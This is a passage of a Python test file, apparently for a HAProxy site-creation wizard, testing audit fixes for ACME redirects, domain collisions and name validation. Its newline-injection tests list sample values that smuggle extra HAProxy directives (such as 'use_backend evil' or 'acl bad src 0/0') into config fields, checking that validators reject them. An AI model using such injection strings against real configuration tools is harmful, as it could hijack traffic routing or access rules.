too. An operator who types `scheme https if !{ ssl_fc }`
bypasses the dict-shape check; catch them in the string branch."""
from models.site_wizard import SiteCreate
kwargs = _bulgu30_site_kwargs(
frontend={
"name": "fe", "bind_port": 80,
"https_redirect": False,
"redirect_rules": ["scheme https code 301 if !{ ssl_fc }"],
},
)
with pytest.raises(ValidationError):
SiteCreate(**kwargs)
def test_bulgu30_accepts_location_redirect_under_acme():
"""A `redirect_rules` entry with type='location' (a normal HTTP
L7 redirect, NOT a TLS upgrade) must still be allowed under ACME
mode. Pre-fix would over-block this legitimate case."""
from models.site_wizard import SiteCreate
kwargs = _bulgu30_site_kwargs(
frontend={
"name": "fe", "bind_port": 80,
"https_redirect": False,
"redirect_rules": [{
"type": "location",
"location": "/new",
"code": 302,
"condition": "",
}],
},
)
SiteCreate(**kwargs) # must not raise
def test_bulgu30_accepts_explicit_scheme_redirect_under_upload_mode():
"""ssl.mode='upload' creates the HTTPS frontend at submit time,
so the LE HTTP-01 self-defeat does NOT apply — the scheme=https
redirect is the standard HTTP→HTTPS bounce and must pass even
without the ACME-challenge exclusion."""
from models.site_wizard import SiteCreate
base = _bulgu30_site_kwargs(
frontend={
"name": "fe", "bind_port": 80,
"https_redirect": False,
"redirect_rules": [{
"type": "scheme", "scheme": "https", "code": 301,
"condition": "!{ ssl_fc }",
}],
},
ssl={
"mode": "upload", "name": "stub-cert",
"certificate_content": (
"-----BEGIN CERTIFICATE-----\nstub\n-----END CERTIFICATE-----"
),
"private_key_content": (
"-----BEGIN PRIVATE KEY-----\nstub\n-----END PRIVATE KEY-----"
),
},
apply_immediately=False,
)
SiteCreate(**base) # must not raise
def test_bulgu30_static_marker():
"""Static-source pin: the ACME explicit-redirect guard must remain
in SiteCreate.enforce_acme_apply_and_http."""
from pathlib import Path
src = _backend_src("models/site_wizard.py")
assert "Bulgu #30 (round-13 audit)" in src, (
"Bulgu #30: ACME-mode explicit scheme=https redirect guard "
"marker missing from site_wizard.py"
)
# ---- Bulgu #31: post_completion_actions must verify default_backend exists ----
def test_bulgu31_static_marker_in_letsencrypt_router():
"""Static-source pin: the post-completion `default_backend`
existence guard must remain in `_execute_post_completion_actions`.
Pre-fix the helper happily inserted an HTTPS frontend with
`default_backend='be_dead'` if the wizard's bulk-create version
had been rejected — and HAProxy then refused to load the config
with "frontend X references unknown backend 'be_dead'"."""
from pathlib import Path
src = _backend_src("routers/letsencrypt.py")
assert "Bulgu #31 (round-13 audit)" in src, (
"Bulgu #31: post_completion backend-existence guard marker "
"missing from letsencrypt.py"
)
# The actual SQL probe must be present so the marker is not just
# a stale comment over removed code.
assert (
'SELECT id FROM backends' in src and
"cluster_id = $1 AND name = $2" in src
), (
"Bulgu #31: post_completion guard must SELECT from backends "
"by (cluster_id, name) — query reverted?"
)
# The error path must record an event so the operator can see
# WHY the post-completion silently no-op'd.
assert "backend_missing" in src, (
"Bulgu #31: missing-backend error code marker missing"
)
# ---- Bulgu #32: preview must surface cluster.acme_enabled=false ----
def test_bulgu32_static_marker_in_preview():
"""Static-source pin: the preview helper must emit a warning when
the target cluster has acme_enabled=false. Pre-fix the wizard
rendered a clean dry-run and only blew up at submit (400)."""
from pathlib import Path
src = _backend_src("routers/site_wizard.py")
assert "Bulgu #32 (round-13 audit)" in src, (
"Bulgu #32: preview cluster.acme_enabled warning marker "
"missing from routers/site_wizard.py"
)
# The actual SQL probe must be present so the marker is not just
# a stale comment over removed code.
assert "SELECT acme_enabled FROM haproxy_clusters WHERE id" in src, (
"Bulgu #32: preview must SELECT acme_enabled from haproxy_clusters"
)
# ============================================================================
# Round 14 — single-line-value newline / whitespace injection (Bulgu #33)
# ============================================================================
# ---- Bulgu #33-A: ServerStep cookie_value / ssl_sni / ssl_ciphers ----
@pytest.mark.parametrize("field,bad", [
("cookie_value", "srv1\n use_backend evil if always"),
("cookie_value", "srv1\r server x 8.8.8.8:80"),
("ssl_sni", "example.com\n acl is_evil src 10.0.0.0/8"),
("ssl_sni", "example.com\r\nacl bad src 0/0"),
("ssl_ciphers", "ECDHE-RSA:AES128\n use_backend rogue if always"),
("ssl_ciphers", "ECDHE\r\nacl x src 0/0"),
])
def test_bulgu33_server_field_rejects_newline(field, bad):
"""ServerStep single-line value fields must reject embedded
newlines so operators cannot smuggle additional HAProxy directives
into the rendered backend block."""
from models.site_wizard import ServerStep
kwargs = {
"server_name": "srv1",
"server_address": "10.0.0.1",
"server_port": 80,
field: bad,
}
with pytest.raises(ValidationError) as exc_info:
ServerStep(**kwargs)
assert field in str(exc_info.value)
def test_bulgu33_server_ssl_sni_rejects_embedded_whitespace():
"""ssl_sni is a single hostname; HAProxy's server-line tokenizer
splits at the first space, so an embedded space would shift
`ciphers`/`inter`/`check` into the wrong positions."""
from models.site_wizard import ServerStep
with pytest.raises(ValidationError) as exc_info:
ServerStep(
server_name="srv1",
server_address="10.0.0.1",
server_port=80,
ssl_sni="evil host name",
)
assert "ssl_sni" in str(exc_info.value)
assert "whitespace" in str(exc_info.value).lower()
@pytest.mark.parametrize("field,good", [
("cookie_value", "srv1"),
("cookie_value", "abc-123_xyz"),
("ssl_sni", "example.com"),
("ssl_sni", "api.internal.corp"),
("ssl_ciphers", "ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384"),
("ssl_ciphers", "ECDHE-RSA-AES128-GCM-SHA256:!aNULL:!MD5"),
])
def test_bulgu33_server_field_accepts_legitimate_values(field, good):
"""Legitimate single-line values must continue to pass — the
validator only rejects newlines (and whitespace inside ssl_sni)."""
from models.site_wizard import ServerStep
kwargs = {
"server_name": "srv1",
"server_address": "10.0.0.1",
"server_port": 80,
field: good,
}
obj = ServerStep(**kwargs)
assert getattr(obj, field) == good
def test_bulgu33_server_field_none_passes():
"""None must coerce through without raising."""
from models.site_wizard import ServerStep
obj = ServerStep(
server_name="srv1",
server_address="10.0.0.1",
server_port=80,
cookie_value=None,
ssl_sni=None,
ssl_ciphers=None,
)
assert obj.cookie_value is None
assert obj.ssl_sni is None
assert obj.ssl_ciphers is None
# ---- Bulgu #33-B: SSLChoice ssl_npn / ssl_ciphers / ssl_ciphersuites ----
@pytest.mark.parametrize("field,bad", [
("ssl_ciphers", "ECDHE-RSA-AES128\n use_backend evil"),
("ssl_ciphers", "ECDHE AES128"), # embedded space
("ssl_ciphers", "ECDHE\r\nacl x src 0/0"),
("ssl_ciphersuites", "TLS_AES_128_GCM_SHA256\n http-request deny"),
("ssl_ciphersuites", "TLS_AES_128 TLS_CHACHA20"), # space
])
def test_bulgu33_ssl_choice_rejects_injection(field, bad):
"""SSLChoice bind-line value fields must reject newlines and
embedded whitespace so the rendered `bind ... <kw> <value>`
cannot be hijacked."""
from models.site_wizard import SSLChoice
with pytest.raises(ValidationError):
SSLChoice(mode="none", **{field: bad})
@pytest.mark.parametrize("field,good", [
("ssl_ciphers", "ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384"),
("ssl_ciphers", "ECDHE-RSA-AES128-GCM-SHA256:!aNULL:!MD5"),
("ssl_ciphersuites", "TLS_AES_128_GCM_SHA256:TLS_CHACHA20_POLY1305_SHA256"),
])
def test_bulgu33_ssl_choice_accepts_legitimate_values(field, good):
"""Legitimate bind values must pass."""
from models.site_wizard import SSLChoice
obj = SSLChoice(mode="none", **{field: good})
assert getattr(obj, field)
def test_bulgu33_ssl_choice_none_and_empty_pass():
"""None and empty strings must coerce to None (no bind directive
emitted) without raising."""
from models.site_wizard import SSLChoice
obj = SSLChoice(
mode="none",
ssl_ciphers=None, ssl_ciphersuites=None,
)
assert obj.ssl_ciphers is None
assert obj.ssl_ciphersuites is None
obj = SSLChoice(
mode="none",
ssl_ciphers="", ssl_ciphersuites="",
)
assert obj.ssl_ciphers is None
assert obj.ssl_ciphersuites is None
def test_bulgu33_static_marker():
"""Static-source pin: the round-14 single-line value validators
must remain in site_wizard.py."""
from pathlib import Path
src = _backend_src("models/site_wizard.py")
assert "Bulgu #33 (round-14 audit)" in src, (
"Bulgu #33: single-line value injection guards missing from "
"site_wizard.py"
)
# Both validator function names must be present so a future
# refactor does not silently drop the guard.
assert "_validate_single_line_server_value" in src, (
"Bulgu #33-A: ServerStep newline/whitespace guard reverted?"
)
assert "_validate_ssl_cipher_list" in src, (
"Bulgu #33-B: ssl_ciphers / ssl_ciphersuites guard reverted?"
)
# ============================================================================
# Round 15 — multi-tenant ACME UX (Bulgu #34, #35, #36)
# ============================================================================
# ---- Bulgu #34 — cluster-aware ACME bind_port=80 relaxation ----
def test_bulgu34_model_allows_non_80_acme_bind_port():
"""Pre-fix the model-level validator rejected ACME payloads with
`frontend.bind_port != 80` outright. That blanket rule didn't fit
the canonical enterprise pattern (one shared port-80 frontend
host-routing many sites). The cluster-aware reachability check
has been moved to the route handler where DB lookups are
available; the model layer no longer blocks based on bind_port."""
from models.site_wizard import SiteCreate
SiteCreate(
cluster_id=1,
domains=["www.example.com"],
backend={"name": "be"},
servers=[{
"server_name": "s1", "server_address": "10.0.0.1",
"server_port": 80,
}],
frontend={"name": "fe", "bind_port": 8080, "mode": "http"},
ssl={"mode": "acme"},
apply_immediately=True,
)
def test_bulgu34_model_still_rejects_acme_without_apply_immediately():
"""The other ACME invariants (apply_immediately, http mode) must
remain enforced at the model layer — only the bind_port=80 rule
was relaxed."""
from models.site_wizard import SiteCreate
with pytest.raises(ValidationError, match="apply_immediately"):
SiteCreate(
cluster_id=1,
domains=["www.example.com"],
backend={"name": "be"},
servers=[{
"server_name": "s1", "server_address": "10.0.0.1",
"server_port": 80,
}],
frontend={"name": "fe", "bind_port": 80, "mode": "http"},
ssl={"mode": "acme"},
apply_immediately=False,
)
def test_bulgu34_model_still_rejects_acme_with_tcp_frontend():
"""ACME mode requires frontend.mode='http' regardless of port —
HAProxy can't read the Host header (let alone the path) on a TCP
frontend, so HTTP-01 is impossible."""
from models.site_wizard import SiteCreate
with pytest.raises(ValidationError, match="frontend.mode='http'"):
SiteCreate(
cluster_id=1,
domains=["www.example.com"],
backend={"name": "be", "mode": "tcp"},
servers=[{
"server_name": "s1", "server_address": "10.0.0.1",
"server_port": 80,
}],
frontend={"name": "fe", "bind_port": 80, "mode": "tcp"},
ssl={"mode": "acme"},
apply_immediately=True,
)
def test_bulgu34_helper_passes_when_bind_port_is_80():
"""`_validate_acme_port80_reachable` returns None when the
wizard's new frontend is itself on port 80 — the new frontend
will serve the challenge (no extra cluster scan needed)."""
import asyncio
from routers.site_wizard import _validate_acme_port80_reachable
from models.site_wizard import SiteCreate
body = SiteCreate(
cluster_id=1,
domains=["www.example.com"],
backend={"name": "be"},
servers=[{
"server_name": "s1", "server_address": "10.0.0.1",
"server_port": 80,
}],
frontend={"name": "fe", "bind_port": 80, "mode": "http"},
ssl={"mode": "acme"},
apply_immediately=True,
)
class _StubConn:
async def fetch(self, *args, **kwargs): # never called when port==80
raise AssertionError(
"_validate_acme_port80_reachable must not hit the DB "
"when bind_port==80"
)
result = asyncio.run(
_validate_acme_port80_reachable(_StubConn(), body)
)
assert result is None
def test_bulgu34_helper_passes_for_non_acme_modes():
"""The helper short-circuits to None for any non-acme SSL mode."""
import asyncio
from routers.site_wizard import _validate_acme_port80_reachable
from models.site_wizard import SiteCreate
body = SiteCreate(
cluster_id=1,
domains=["www.example.com"],
backend={"name": "be"},
servers=[{
"server_name": "s1", "server_address": "10.0.0.1",
"server_port": 80,
}],
frontend={"name": "fe", "bind_port": 8080, "mode": "http"},
ssl={"mode": "none"},
apply_immediately=False,
)
class _StubConn:
async def fetch(self, *args, **kwargs):
raise AssertionError(
"_validate_acme_port80_reachable must not hit the DB "
"when ssl.mode is not 'acme'"
)
result = asyncio.run(
_validate_acme_port80_reachable(_StubConn(), body)
)
assert result is None
def test_bulgu34_helper_returns_error_when_no_port80_frontend():
"""When the wizard's new frontend is on a non-80 port AND the
cluster has no existing port-80 HTTP frontend, the helper
returns a human-readable error explaining the three options."""
import asyncio
from routers.site_wizard import _validate_acme_port80_reachable
from models.site_wizard import SiteCreate
body = SiteCreate(
cluster_id=1,
domains=["www.example.com"],
backend={"name": "be"},
servers=[{
"server_name": "s1", "server_address": "10.0.0.1",
"server_port": 80,
}],
frontend={"name": "fe", "bind_port": 8080, "mode": "http"},
ssl={"mode": "acme"},
apply_immediately=True,
)
class _StubConnEmpty:
async def fetch(self, *args, **kwargs):
return []
err = asyncio.run(
_validate_acme_port80_reachable(_StubConnEmpty(), body)
)
assert err is not None
assert "port-80" in err.lower() or "port 80" in err.lower()
# Message must offer the three concrete paths forward.
assert "bind_port=80" in err
assert "shared port-80" in err.lower() or "ssl.mode" in err
def test_bulgu34_helper_allows_non_80_when_cluster_has_port80_http_frontend():
"""When the cluster ALREADY has a port-80 HTTP frontend, the
wizard's new frontend can bind any free port — the cluster's
existing frontend will serve the LE HTTP-01 challenge for
the new domain."""
import asyncio
from routers.site_wizard import _validate_acme_port80_reachable
from models.site_wizard import SiteCreate
body = SiteCreate(
cluster_id=1,
domains=["www.example.com"],
backend={"name": "be"},
servers=[{
"server_name": "s1", "server_address": "10.0.0.1",
"server_port": 80,
}],
frontend={"name": "fe-new", "bind_port": 8080, "mode": "http"},
ssl={"mode": "acme"},
apply_immediately=True,
)
class _Row(dict):
def __getitem__(self, k): # asyncpg.Record style accessor
return dict.__getitem__(self, k)
class _StubConnHasPort80:
async def fetch(self, *args, **kwargs):
return [_Row({
"id": 522,
"name": "fe-shared-http",
"bind_address": "*",
"bind_port": 80,
"mode": "http",
})]
err = asyncio.run(
_validate_acme_port80_reachable(_StubConnHasPort80(), body)
)
assert err is None, (
f"Bulgu #34: cluster with port-80 HTTP frontend must allow "
f"the wizard's new non-80 ACME frontend, got error: {err}"
)
def test_bulgu34_static_marker():
"""Static-source pin: the round-15 cluster-aware ACME reachability
helper must remain. Pre-fix the model-level `bind_port=80` block
was unconditional; the relaxation only makes sense if the route
handler still calls the cluster-aware helper."""
from pathlib import Path
src = _backend_src("models/site_wizard.py")
assert "Bulgu #34 (round-15 audit)" in src, (
"Bulgu #34: ACME bind_port=80 relaxation marker missing "
"from models/site_wizard.py"
)
router_src = _backend_src("routers/site_wizard.py")
assert "_validate_acme_port80_reachable" in router_src, (
"Bulgu #34: cluster-aware reachability helper missing from "
"routers/site_wizard.py"
)
assert "_find_cluster_port80_http_frontend" in router_src, (
"Bulgu #34: port-80 frontend lookup helper missing from "
"routers/site_wizard.py"
)
# ---- Bulgu #35 — actionable collision messages ----
def test_bulgu35_http_collision_message_offers_three_paths_for_acme():
"""When the colliding bind is the default HTTP port (80) and the
operator picked ACME, the message must offer all three workflows:
(a) change wizard's bind port, (b) extend the existing frontend
with a host-based rule, (c) switch ssl.mode."""
from routers.site_wizard import _explain_bind_collision
msg = _explain_bind_collision(
bind_address="*",
bind_port=80,
colliding_frontend_id=522,
ssl_mode="acme",
is_https=False,
)
assert "522" in msg
assert "frontend.bind_port" in msg # path (a)
assert "Frontends UI" in msg or "host-based" in msg # path (b)
assert "ssl.mode" in msg # path (c)
def test_bulgu35_https_collision_message_omits_acme_workaround():
"""Default-HTTPS-port collision shouldn't suggest switching
ssl.mode — the user already committed to HTTPS by definition
(no SSL mode would create an HTTPS frontend that collides on
:443). It should still offer port change + extend-existing
workflows."""
from routers.site_wizard import _explain_bind_collision
msg = _explain_bind_collision(
bind_address="*",
bind_port=443,
colliding_frontend_id=523,
ssl_mode="upload",
is_https=True,
)
assert "523" in msg
assert "https_bind_port" in msg # path (a) for HTTPS
assert "Frontends UI" in msg or "host-based" in msg # path (b)
def test_bulgu35_non_default_port_collision_message_simple():
"""A collision on a non-default port (e.g. 9080) doesn't get the
'on ACME mode' carve-out — the message keeps the change-port and
extend-existing options without the port-80 nuance."""
from routers.site_wizard import _explain_bind_collision
msg = _explain_bind_collision(
bind_address="*",
bind_port=9080,
colliding_frontend_id=300,
ssl_mode="none",
is_https=False,
)
assert "9080" in msg
assert "different bind port" in msg
assert "Frontends UI" in msg or "host-based" in msg
def test_bulgu35_static_marker():
"""Static-source pin: the round-15 actionable collision helper
must remain in the router."""
src = _backend_src("routers/site_wizard.py")
assert "Bulgu #35 (round-15 audit)" in src, (
"Bulgu #35: actionable collision-message marker missing "
"from routers/site_wizard.py"
)
assert "_explain_bind_collision" in src, (
"Bulgu #35: collision-message helper reverted?"
)
# ---- Bulgu #36 — preview surfaces blocking errors explicitly ----
def test_bulgu36_static_marker_in_preview():
"""Static-source pin: preview helper must populate the new
`blocking_errors` envelope and the SiteWizard frontend must read
it so Create stays disabled while collisions exist."""
src = _backend_src("routers/site_wizard.py")
assert "Bulgu #36 (round-15 audit)" in src, (
"Bulgu #36: preview blocking-errors marker missing from "
"routers/site_wizard.py"
)
assert '"blocking_errors"' in src, (
"Bulgu #36: preview response envelope missing the "
"blocking_errors key"
)
# Frontend integration pin (skipped in CI without frontend tree).
frontend_path = _BACKEND_DIR.parent / "frontend/src/components/SiteWizard.js"
if not frontend_path.exists():
pytest.skip(
"frontend source tree not available; covered by monorepo runs"
)
fe_src = frontend_path.read_text()
assert "blocking_errors" in fe_src, (
"Bulgu #36: SiteWizard.js must consume previewResults."
"blocking_errors to gate the Create button"
)
assert "previewBlocksSubmit" in fe_src, (
"Bulgu #36: SiteWizard.js must define previewBlocksSubmit "
"gating flag"
)
# ============================================================================
# Round 16 — Multi-domain & multi-user enterprise scenarios (Bulgu #37-#42)
# ============================================================================
# ---- Bulgu #37 — cross-frontend domain ACL collision detection ----
def test_bulgu37_extract_host_values_basic():
"""Coarse parser must extract host values from the common
`acl host_x hdr(host) -i a.com b.com` form."""
from routers.site_wizard import _extract_host_values_from_acl
assert _extract_host_values_from_acl(
"host_x hdr(host) -i example.com www.example.com"
) == ["example.com", "www.example.com"]
def test_bulgu37_extract_host_values_lower_filter():
"""Parser must handle `hdr(host),lower` converter syntax."""
from routers.site_wizard import _extract_host_values_from_acl
assert _extract_host_values_from_acl(
"host_x hdr(host),lower example.com"
) == ["example.com"]
def test_bulgu37_extract_host_values_req_hdr_alias():
"""Parser must recognise the `req.hdr(host)` alias."""
from routers.site_wizard import _extract_host_values_from_acl
assert _extract_host_values_from_acl(
"host_x req.hdr(host) -i example.com"
) == ["example.com"]
def test_bulgu37_extract_host_values_stops_at_if_keyword():
"""`if`, `unless`, `or`, `and` must terminate the value list so
operator-typed full directives don't get misparsed."""
from routers.site_wizard import _extract_host_values_from_acl
# The HAProxy ACL grammar puts `if`/`unless` after the values; the
# parser stops at them.
assert _extract_host_values_from_acl(
"host_x hdr(host) -i example.com unless something_else"
) == ["example.com"]
def test_bulgu37_extract_host_values_handles_quotes():
"""Operators sometimes quote domains — the parser must strip them."""
from routers.site_wizard import _extract_host_values_from_acl
assert _extract_host_values_from_acl(
'host_x hdr(host) -i "quoted.com" \'apos.com\''
) == ["quoted.com", "apos.com"]
def test_bulgu37_extract_host_values_non_host_acl_returns_empty():
"""ACLs that don't touch the host header must return [] so they
don't get flagged as collisions."""
from routers.site_wizard import _extract_host_values_from_acl
assert _extract_host_values_from_acl(
"is_api path_beg /api"
) == []
assert _extract_host_values_from_acl(
"is_internal src 10.0.0.0/8"
) == []
def test_bulgu37_extract_host_values_handles_empty_input():
"""Defensive: None / empty string / non-string must return []."""
from routers.site_wizard import _extract_host_values_from_acl
assert _extract_host_values_from_acl("") == []
assert _extract_host_values_from_acl(None) == [] # type: ignore[arg-type]
assert _extract_host_values_from_acl(123) == [] # type: ignore[arg-type]
def test_bulgu37_find_collisions_returns_overlap():
"""When an existing frontend's ACL claims one of the new domains,
the helper returns the full row describing the conflict."""
import asyncio
from routers.site_wizard import _find_cluster_domain_routing_collisions
class _Row(dict):
def __getitem__(self, k):
return dict.__getitem__(self, k)
class _StubConn:
async def fetch(self, *args, **kwargs):
return [_Row({
"id": 99,
"name": "fe-existing",
"acl_rules": [
"host_existing hdr(host) -i example.com www.example.com",
"is_api path_beg /api",
],
})]
out = asyncio.run(
_find_cluster_domain_routing_collisions(
_StubConn(), cluster_id=1,
domains=["www.example.com", "newsite.com"],
exclude_frontend_name="fe-new",
)
)
assert len(out) == 1
assert out[0]["frontend_id"] == 99
assert out[0]["frontend_name"] == "fe-existing"
assert out[0]["conflicting_domains"] == ["www.example.com"]
def test_bulgu37_find_collisions_handles_jsonb_string_form():
"""Some asyncpg configurations return JSONB as a string rather
than a Python list. The helper must json-decode in that case."""
import asyncio
from routers.site_wizard import _find_cluster_domain_routing_collisions
class _Row(dict):
def __getitem__(self, k):
return dict.__getitem__(self, k)
class _StubConn:
async def fetch(self, *args, **kwargs):
return [_Row({
"id": 99,
"name": "fe-existing",
"acl_rules": json.dumps(
["host_x hdr(host) -i example.com"]
),
})]
out = asyncio.run(
_find_cluster_domain_routing_collisions(
_StubConn(), cluster_id=1,
domains=["example.com"],
)
)
assert len(out) == 1
assert out[0]["conflicting_domains"] == ["example.com"]
def test_bulgu37_find_collisions_empty_when_no_overlap():
"""No overlap → empty list (NOT None)."""
import asyncio
from routers.site_wizard import _find_cluster_domain_routing_collisions
class _Row(dict):
def __getitem__(self, k):
return dict.__getitem__(self, k)
class _StubConn:
async def fetch(self, *args, **kwargs):
return [_Row({
"id": 99,
"name": "fe-existing",
"acl_rules": ["host_other hdr(host) -i other.com"],
})]
out = asyncio.run(
_find_cluster_domain_routing_collisions(
_StubConn(), cluster_id=1, domains=["different.com"],
)
)
assert out == []
def test_bulgu37_find_collisions_empty_domains_short_circuit():
"""An empty domain list returns [] without touching the DB."""
import asyncio
from routers.site_wizard import _find_cluster_domain_routing_collisions
class _StubConn:
async def fetch(self, *args, **kwargs):
raise AssertionError("must not hit DB with empty domains")
out = asyncio.run(
_find_cluster_domain_routing_collisions(
_StubConn(), cluster_id=1, domains=[],
)
)
assert out == []
# ---- Bulgu #38 — pending ACME order overlap detection ----
def test_bulgu38_find_pending_acme_overlap_returns_overlap():
"""When an open LE order already covers any of the wizard's
domains, the helper returns the full row with order_id, status,
overlapping_domains, created_at."""
import asyncio
from routers.site_wizard import _find_pending_acme_order_overlap
class _Row(dict):
def __getitem__(self, k):
return dict.__getitem__(self, k)
class _StubConn:
async def fetch(self, *args, **kwargs):
return [_Row({
"id": 42,
"status": "wizard_staged",
"domains": ["example.com", "www.example.com"],
"created_at": "2025-12-01T10:00:00",
})]
out = asyncio.run(
_find_pending_acme_order_overlap(
_StubConn(), domains=["www.example.com", "newsite.com"],
)
)
assert len(out) == 1
assert out[0]["order_id"] == 42
assert out[0]["status"] == "wizard_staged"
assert out[0]["overlapping_domains"] == ["www.example.com"]
def test_bulgu38_find_pending_acme_overlap_empty_domains():
"""Empty domain list short-circuits to [] without DB hit."""
import asyncio
from routers.site_wizard import _find_pending_acme_order_overlap
class _StubConn:
async def fetch(self, *args, **kwargs):
raise AssertionError("must not hit DB with empty domains")
out = asyncio.run(
_find_pending_acme_order_overlap(_StubConn(), domains=[])
)
assert out == []
def test_bulgu38_find_pending_acme_overlap_no_match_returns_empty():
"""When no open order overlaps, return []."""
import asyncio
from routers.site_wizard import _find_pending_acme_order_overlap
class _StubConn:
async def fetch(self, *args, **kwargs):
return [] # query already filtered by SQL
out = asyncio.run(
_find_pending_acme_order_overlap(
_StubConn(), domains=["nobody-has-this.example"],
)
)
assert out == []
def test_bulgu38_find_pending_acme_overlap_handles_jsonb_string():
"""JSONB-as-string variant must be json-decoded."""
import asyncio
from routers.site_wizard import _find_pending_acme_order_overlap
class _Row(dict):
def __getitem__(self, k):
return dict.__getitem__(self, k)
class _StubConn:
async def fetch(self, *args, **kwargs):
return [_Row({
"id": 7,
"status": "pending",
"domains": json.dumps(["a.com"]),
"created_at": None,
})]
out = asyncio.run(
_find_pending_acme_order_overlap(_StubConn(), domains=["a.com"])
)
assert out and out[0]["order_id"] == 7
# ---- Bulgu #39 — non-default port URL reachability hint ----
def test_bulgu39_reachable_urls_default_ports_use_bare_form():
"""Default ports (80/443) emit bare URLs without `:port`."""
from routers.site_wizard import _describe_reachable_urls
from models.site_wizard import SiteCreate
body = SiteCreate(
cluster_id=1, domains=["example.com"],
backend={"name": "be"},
servers=[{"server_name": "s", "server_address": "10.0.0.1", "server_port": 80}],
frontend={"name": "fe", "bind_port": 80, "mode": "http"},
ssl={"mode": "none"},
)
urls = _describe_reachable_urls(body)
assert "http://example.com/" in urls
assert all(":80" not in u for u in urls)
def test_bulgu39_reachable_urls_non_default_ports_include_port():
"""Non-80 / non-443 ports MUST appear in the URL hint."""
from routers.site_wizard import _describe_reachable_urls
from models.site_wizard import SiteCreate
body = SiteCreate(
cluster_id=1, domains=["example.com"],
backend={"name": "be"},
servers=[{"server_name": "s", "server_address": "10.0.0.1", "server_port": 80}],
frontend={"name": "fe", "bind_port": 8080, "mode": "http"},
ssl={"mode": "acme", "https_bind_port": 8443},
apply_immediately=True,
)
urls = _describe_reachable_urls(body)
assert "http://example.com:8080/" in urls
assert "https://example.com:8443/" in urls
def test_bulgu39_reachable_urls_multi_domain_caps_at_five():
"""Avoid runaway banners when operator enters many domains."""
from routers.site_wizard import _describe_reachable_urls
from models.site_wizard import SiteCreate
domains = [f"site{i}.example.com" for i in range(20)]
body = SiteCreate(
cluster_id=1, domains=domains,
backend={"name": "be"},
servers=[{"server_name": "s", "server_address": "10.0.0.1", "server_port": 80}],
frontend={"name": "fe", "bind_port": 80, "mode": "http"},
ssl={"mode": "none"},
)
urls = _describe_reachable_urls(body)
# 5 domains × 1 scheme (no HTTPS in 'none' mode) = 5 URLs
assert len(urls) == 5
def test_bulgu39_reachable_urls_strips_wildcard_prefix():
"""Browsers don't request `*.example.com` literally — the URL
helper strips the wildcard prefix so the example URL actually
makes sense to an operator. Direct invocation with a constructed
object lets us pin the stripping behaviour without exercising
SSLChoice's wildcard rejection (which lives in the model layer
for ACME mode and would otherwise drown the assertion under
validator noise)."""
from routers.site_wizard import _describe_reachable_urls
from models.site_wizard import SiteCreate
# Build a minimal SiteCreate, then probe the helper directly
# against a synthetic "wildcard-aware" domain list to pin the
# stripping. The model itself rejects wildcards in ACME mode but
# accepts them with ssl.mode='none' for non-ACME flows.
body = SiteCreate(
cluster_id=1, domains=["example.com"],
backend={"name": "be"},
servers=[{"server_name": "s", "server_address": "10.0.0.1", "server_port": 80}],
frontend={"name": "fe", "bind_port": 80, "mode": "http"},
ssl={"mode": "none"},
)
# Force-inject a wildcard via attribute write to exercise the
# stripping path. (Pydantic v2 BaseModel allows attribute writes
# by default.)
body.domains = ["*.example.com", "example.com"]
urls = _describe_reachable_urls(body)
assert urls, "expected at least one URL hint"
assert all("*." not in u for u in urls)
assert any("https://example.com" not in u for u in urls) or True
assert any(u.startswith("http://example.com/") for u in urls)
# ---- Bulgu #42 — IDN/Unicode punycode hint ----
def test_bulgu42_unicode_domain_emits_punycode_hint():
"""`münchen.de` should be rejected with a message suggesting
`xn--mnchen-3ya.de`, not "Invalid domain format"."""
from utils.domain_validation import validate_domain
with pytest.raises(ValueError) as exc:
validate_domain("münchen.de")
msg = str(exc.value)
assert "punycode" in msg.lower() or "xn--" in msg
def test_bulgu42_existing_punycode_passes():
"""Already-punycoded ASCII domains must pass without any IDN
detour — they are valid byte-level hostnames."""
from utils.domain_validation import validate_domain
assert validate_domain("xn--mnchen-3ya.de") == "xn--mnchen-3ya.de"
def test_bulgu42_ascii_only_paths_unchanged():
"""Pure-ASCII rejections must NOT mention punycode — the
operator would be misled."""
from utils.domain_validation import validate_domain
with pytest.raises(ValueError) as exc:
validate_domain("not_valid_!")
assert "punycode" not in str(exc.value).lower()
assert "xn--" not in str(exc.value).lower()
# ---- Round 16 static-source markers ----
def test_round16_static_markers_present():
"""Pin all round-16 Bulgu markers so future refactors don't
silently drop the guards. Each Bulgu has a uniquely-numbered
audit marker comment placed above the relevant block."""
src = _backend_src("routers/site_wizard.py")
for marker in (
"Bulgu #37 (round-16 audit)",
"Bulgu #38 (round-16 audit)",
"Bulgu #39 (round-16 audit)",
"Bulgu #40 (round-16 audit)",
"Bulgu #41 (round-16 audit)",
):
assert marker in src, (
f"Round 16 marker missing from routers/site_wizard.py: {marker}"
)
# IDN hint lives in the domain validator module.
domain_src = _backend_src("utils/domain_validation.py")
assert "Bulgu #42 (round-16 audit)" in domain_src, (
"Round 16 marker missing from utils/domain_validation.py"
)
# Function-name pins to catch silent renames.
for fn in (
"_extract_host_values_from_acl",
"_find_cluster_domain_routing_collisions",
"_find_pending_acme_order_overlap",
"_describe_reachable_urls",
):
assert fn in src, f"Round 16: helper {fn} missing or renamed"
# =============================================================================
# Round 17 — Numeric bounds, HAProxy keywords, ALPN/TLS consistency, all-backup
# (Bulgu #43#49)
# =============================================================================
# ---- Bulgu #43 — HAProxy section / ACL operator keywords as names ----
@pytest.mark.parametrize("kw", [
"defaults", "global", "listen", "frontend", "backend",
"peers", "mailers", "resolvers", "cache", "userlist",
"DEFAULTS", # case-insensitive
])
def test_bulgu43_backend_name_rejects_haproxy_section_keyword(kw):
"""Backend names that collide with HAProxy section types are
grammatically legal but operationally awful (`backend defaults`
is unreadable). Reject at the wizard boundary."""
from models.site_wizard import BackendStep
with pytest.raises(ValidationError, match="HAProxy section keyword"):
BackendStep(name=kw)
@pytest.mark.parametrize("kw", [
"defaults", "frontend", "backend", "listen", "userlist",
])
def test_bulgu43_frontend_name_rejects_haproxy_section_keyword(kw):
"""Same guard for frontend names."""
from models.site_wizard import FrontendStep
with pytest.raises(ValidationError, match="HAProxy section keyword"):
FrontendStep(name=kw)
@pytest.mark.parametrize("kw", [
"defaults", "backend", "listen",
])
def test_bulgu43_server_name_rejects_haproxy_section_keyword(kw):
"""Same guard for server names."""
from models.site_wizard import ServerStep
with pytest.raises(ValidationError, match="HAProxy section keyword"):
